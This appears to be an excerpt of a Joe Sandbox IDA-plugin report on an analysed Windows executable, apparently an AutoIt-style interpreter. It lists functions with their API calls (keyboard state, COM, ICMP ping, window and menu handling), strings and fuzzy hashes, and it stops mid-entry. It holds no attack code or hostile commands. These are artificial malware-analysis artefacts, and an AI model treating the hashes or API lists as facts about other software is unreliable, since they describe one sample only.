SOFTWARE\Classes\, xrefs: 0103070E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 9fd11368a3debfca0f990a768ae6be19b9497bfdfe535b380c51213caa5ed1ad
Instruction ID: 4e74a3b76e9702790861cccf68629b6cac8d1c814e8848dbc908c02c701a256a
Opcode Fuzzy Hash: 9fd11368a3debfca0f990a768ae6be19b9497bfdfe535b380c51213caa5ed1ad
Instruction Fuzzy Hash: D7413C75C10229ABDF21EB94DC95CEDB7B9FF44750F08416AF981A3261EB349E04DB90

Function 01063F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0106403B
CreateCompatibleDC.GDI32(00000000), ref: 01064042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 01064055
SelectObject.GDI32(00000000,00000000), ref: 0106405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 01064068
DeleteDC.GDI32(00000000), ref: 01064072
GetWindowLongW.USER32(?,000000EC), ref: 0106407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 01064092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 0106409E

Strings

static, xrefs: 01063FD3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 79351a73c5a164b614863059ff40cf112341af083a254197b65968e80cbfc825
Instruction ID: 1c1237a1c1a6ad64f3c02c319cbd7a2a4c3cca7d3e76845505970d2ae489a67d
Opcode Fuzzy Hash: 79351a73c5a164b614863059ff40cf112341af083a254197b65968e80cbfc825
Instruction Fuzzy Hash: 12313E31101215ABEF229FA8DD08FDA3BADFF0D724F114215FA99E61A0C77AD850DB94

Function 01053C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01053C5C
CoInitialize.OLE32(00000000), ref: 01053C8A
CoUninitialize.OLE32 ref: 01053C94
_wcslen.LIBCMT ref: 01053D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 01053DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 01053ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 01053F0E
CoGetObject.OLE32(?,00000000,0106FB98,?), ref: 01053F2D
SetErrorMode.KERNEL32(00000000), ref: 01053F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 01053FC4
VariantClear.OLEAUT32(?), ref: 01053FD8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 4573aed08976f2051c3ab09bf84247ae44d647abccb7fcf68f8e6ada5dd9daa7
Instruction ID: 38d8868d918ad06d7424d2265e4dd713579cf7a68c5c88ceb22459602b3508db
Opcode Fuzzy Hash: 4573aed08976f2051c3ab09bf84247ae44d647abccb7fcf68f8e6ada5dd9daa7
Instruction Fuzzy Hash: 2FC133716083059FD790DF68C88492BBBE9FF89788F04495DF98A9B250DB31ED05CB62

Function 01047A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 01047AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 01047B8F
SHGetDesktopFolder.SHELL32(?), ref: 01047BA3
CoCreateInstance.OLE32(0106FD08,00000000,00000001,01096E6C,?), ref: 01047BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 01047C74
CoTaskMemFree.OLE32(?,?), ref: 01047CCC
SHBrowseForFolderW.SHELL32(?), ref: 01047D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 01047D7A
CoTaskMemFree.OLE32(00000000), ref: 01047D81
CoTaskMemFree.OLE32(00000000), ref: 01047DD6
CoUninitialize.OLE32 ref: 01047DDC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 4679ea3666ed955662d23815ad0d3d7429b92fbd3c6d069a1bbb07b51fde4e96
Instruction ID: b02c312fb952edcc46bb8a4467b5a8d98ecebf644c30d9c1ad74f83ec67a0673
Opcode Fuzzy Hash: 4679ea3666ed955662d23815ad0d3d7429b92fbd3c6d069a1bbb07b51fde4e96
Instruction Fuzzy Hash: 84C15A75A00209AFDB14DFA4C8C4DAEBBF9FF48304B1484A9E9599B361DB35ED41CB90

Function 0106541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 01065504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01065515
CharNextW.USER32(00000158), ref: 01065544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 01065585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0106559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 010655AC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: bdab0f53e297447e517ae88e007bf26ae61de5e2cb9bd9d856adf9c4f8ea8e25
Instruction ID: 0879dc71b458274840148f66b6edbc495daf107eadc9db55c7eee95fa1ca746c
Opcode Fuzzy Hash: bdab0f53e297447e517ae88e007bf26ae61de5e2cb9bd9d856adf9c4f8ea8e25
Instruction Fuzzy Hash: 54617434900209AFEF209F54CC849FE7BBDEF0A7A4F004185F6E5A7290D7759A41CB61

Function 0102FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0102FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0102FB08
VariantInit.OLEAUT32(?), ref: 0102FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0102FB3A
VariantCopy.OLEAUT32(?,?), ref: 0102FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0102FBA1
VariantClear.OLEAUT32(?), ref: 0102FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0102FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0102FBCC
VariantClear.OLEAUT32(?), ref: 0102FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0102FBE9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: b4856c262fb3f87e80bfbd3b28bcc72a593619cb9bc11f05d360a65af377211f
Instruction ID: acb5d94c334da6ae43d22e2211c79b573e55b20e53aff5ea7a075165a7cb86d7
Opcode Fuzzy Hash: b4856c262fb3f87e80bfbd3b28bcc72a593619cb9bc11f05d360a65af377211f
Instruction Fuzzy Hash: A8416375A0021ADFDF11DF68C8549EDBBB9FF48384F008065E985A7261CB35E945CFA0

Function 01039C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 01039CA1
GetAsyncKeyState.USER32(000000A0), ref: 01039D22
GetKeyState.USER32(000000A0), ref: 01039D3D
GetAsyncKeyState.USER32(000000A1), ref: 01039D57
GetKeyState.USER32(000000A1), ref: 01039D6C
GetAsyncKeyState.USER32(00000011), ref: 01039D84
GetKeyState.USER32(00000011), ref: 01039D96
GetAsyncKeyState.USER32(00000012), ref: 01039DAE
GetKeyState.USER32(00000012), ref: 01039DC0
GetAsyncKeyState.USER32(0000005B), ref: 01039DD8
GetKeyState.USER32(0000005B), ref: 01039DEA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: f1986d121c2b0499c81e568c8a95325c4fd21af2abfd17b741e8d5930ab44014
Instruction ID: 8ddbc0a7a3485ff44324ce7747d7175fbc25d3aca39f0146376ede1111906efa
Opcode Fuzzy Hash: f1986d121c2b0499c81e568c8a95325c4fd21af2abfd17b741e8d5930ab44014
Instruction Fuzzy Hash: 3A41F9345047C969FFB2666885093B6BEE86F81308F0480DED6C6562C3DBE595C4CBA2

Function 0105055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 010505BC
inet_addr.WSOCK32(?), ref: 0105061C
gethostbyname.WSOCK32(?), ref: 01050628
IcmpCreateFile.IPHLPAPI ref: 01050636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 010506C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 010506E5
IcmpCloseHandle.IPHLPAPI(?), ref: 010507B9
WSACleanup.WSOCK32 ref: 010507BF

Strings

Ping, xrefs: 01050676

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 46eabf9bc28d2c7693aad6603b7e5959bb8fd9594641289c27dff719f422a9da
Instruction ID: 530c88217615c81d873a2bbb035197678a15986a1affd996b3cd17d89c99e3f5
Opcode Fuzzy Hash: 46eabf9bc28d2c7693aad6603b7e5959bb8fd9594641289c27dff719f422a9da
Instruction Fuzzy Hash: 35918E759042019FD360CF19C988B1BBBE0BF44318F0885A9F9A98B7A6C735ED45CF91

Function 01058CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 01058CF3

Part of subcall function 01038E54: _wcslen.LIBCMT ref: 01038E77

_wcslen.LIBCMT ref: 01058D4E
_wcslen.LIBCMT ref: 01058D9C
_wcslen.LIBCMT ref: 01058DDC
_wcslen.LIBCMT ref: 01058E6E

Strings

cdecl, xrefs: 01058D48, 01058D4D
none, xrefs: 01058E65, 01058E6A
stdcall, xrefs: 01058DD6, 01058DDB
winapi, xrefs: 01058D96, 01058D9B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: b934d34037c45b8cc22cdb644634b6aa4a9d0ca2efdcb7013ecbadc9748b6a22
Instruction ID: ced4025b4cc7a960c84c0658319db679311b62e2dd4e9f970ef330f5e9854e8a
Opcode Fuzzy Hash: b934d34037c45b8cc22cdb644634b6aa4a9d0ca2efdcb7013ecbadc9748b6a22
Instruction Fuzzy Hash: AD51C032A000169BCFA4DF6DC8508BFB7F6AF54324B24825AEDA6E7285D735DD40D790

Function 0105372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 01053774
CoUninitialize.OLE32 ref: 0105377F
CoCreateInstance.OLE32(?,00000000,00000017,0106FB78,?), ref: 010537D9
IIDFromString.OLE32(?,?), ref: 0105384C
VariantInit.OLEAUT32(?), ref: 010538E4
VariantClear.OLEAUT32(?), ref: 01053936

Strings

Failed to create object, xrefs: 010537E4, 0105389A
Invalid parameter, xrefs: 01053865
NULL Pointer assignment, xrefs: 0105381E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: ac2d25748f3cdc43704e58ccd235340a77732b615f923aabdcb8d5ed71215294
Instruction ID: c7cd3c74ee59b6bc1d673b338ded1d3d687f7a53860054f1f9dcfc2e21b1cb09
Opcode Fuzzy Hash: ac2d25748f3cdc43704e58ccd235340a77732b615f923aabdcb8d5ed71215294
Instruction Fuzzy Hash: 2C618E71608301AFD361DF55C888B6BBBE8FF88754F040859F9C59B291D774E948CB92

Function 01043388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 010433CF

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 010433F0

Strings

Error: , xrefs: 010434D1
Incorrect parameters to object property !, xrefs: 010434AB
Line %d (File "%s"):, xrefs: 01043443, 0104345C
"%s" (%d) : ==> %s:%s%s, xrefs: 01043504
^ ERROR , xrefs: 0104349E
"%s" (%d) : ==> %s:, xrefs: 01043522

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 53c2cbbf596e216b62ee677718ca8426f73758998bf3b5a8b2041ff0c0595603
Instruction ID: 3dc49e6d6bda82776387202897097a35a439c1a051a68de7117b61b076f3d4d2
Opcode Fuzzy Hash: 53c2cbbf596e216b62ee677718ca8426f73758998bf3b5a8b2041ff0c0595603
Instruction Fuzzy Hash: 2B51F17290021AABDF14EBE0CE42EEEB77AAF14340F144066F14576151EB7A2F58EF61

Function 0103B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0103B5FC
_wcslen.LIBCMT ref: 0103B608
_wcslen.LIBCMT ref: 0103B64D
_wcslen.LIBCMT ref: 0103B68C
_wcslen.LIBCMT ref: 0103B6C7

Strings

REMOVE, xrefs: 0103B602, 0103B607
KEYS, xrefs: 0103B647, 0103B64C
EXISTS, xrefs: 0103B686, 0103B68B
APPEND, xrefs: 0103B6C1, 0103B6C6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: ea03d93c8856da25cf8c31e846d548aa488444c3e406de2a32b4b09308fa92f0
Instruction ID: f88ba4f06b81986e45942c1912d805af8ea06d391b0fb513294f003d6634ddc5
Opcode Fuzzy Hash: ea03d93c8856da25cf8c31e846d548aa488444c3e406de2a32b4b09308fa92f0
Instruction Fuzzy Hash: BC412832B000268BCB205F7DCC905BEBBE9BFD4658B144169E5A1DB286F639C881E390

Function 01045393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 010453A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 01045416
GetLastError.KERNEL32 ref: 01045420
SetErrorMode.KERNEL32(00000000,READY), ref: 010454A7

Strings

READONLY, xrefs: 01045452
NOTREADY, xrefs: 0104544B
READY, xrefs: 01045460, 01045468
UNKNOWN, xrefs: 01045444
INVALID, xrefs: 01045459

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: b159bba315553b762215af167254b20cbd942381428c2feb545358d30205a2fd
Instruction ID: 6f0f1b6f41f6c25da1d5f4b4afc45378b3d490dc5f705b32a4d3efe5887d6535
Opcode Fuzzy Hash: b159bba315553b762215af167254b20cbd942381428c2feb545358d30205a2fd
Instruction Fuzzy Hash: 6D319FB5A002059FDB11DF68C8C4AAA7BF4FB85309F0880A5F585CF292EB75D942CB90

Function 01063C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 01063C79
SetMenu.USER32(?,00000000), ref: 01063C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01063D10
IsMenu.USER32(?), ref: 01063D24
CreatePopupMenu.USER32 ref: 01063D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 01063D5B
DrawMenuBar.USER32 ref: 01063D63

Strings

0, xrefs: 01063C54
F, xrefs: 01063D4E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 30cc3d6934ce14de08e3147ed5d15d82301b3f802858a79698059384d908a2d5
Instruction ID: 70519c22da2a8c197c2e1518116ccd74c1c0fd156e53bb0e30968d13112c347f
Opcode Fuzzy Hash: 30cc3d6934ce14de08e3147ed5d15d82301b3f802858a79698059384d908a2d5
Instruction Fuzzy Hash: 5B417F75A01209EFEB24DF64E844ADA7BF9FF49350F040069FA8A9B360D735A910CF94

Function 01031EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 01031F64
GetDlgCtrlID.USER32 ref: 01031F6F
GetParent.USER32 ref: 01031F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 01031F8E
GetDlgCtrlID.USER32(?), ref: 01031F97
GetParent.USER32(?), ref: 01031FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 01031FAE

Strings

ListBox, xrefs: 01031F21
ComboBox, xrefs: 01031EEC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: b9a917fba9f3ec4590250174021ff640beb69410b7c29af2518d4402c0fd6540
Instruction ID: 05b43514cc5f73952e776be154614761a1b1fa3c4ca8636bc89b9013d467d4b0
Opcode Fuzzy Hash: b9a917fba9f3ec4590250174021ff640beb69410b7c29af2518d4402c0fd6540
Instruction Fuzzy Hash: 1A210170A00218BFDF10AFA0CC84DEEBBB9EF59300F004146F9E1A72A0CB795808DB60

Function 01031FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

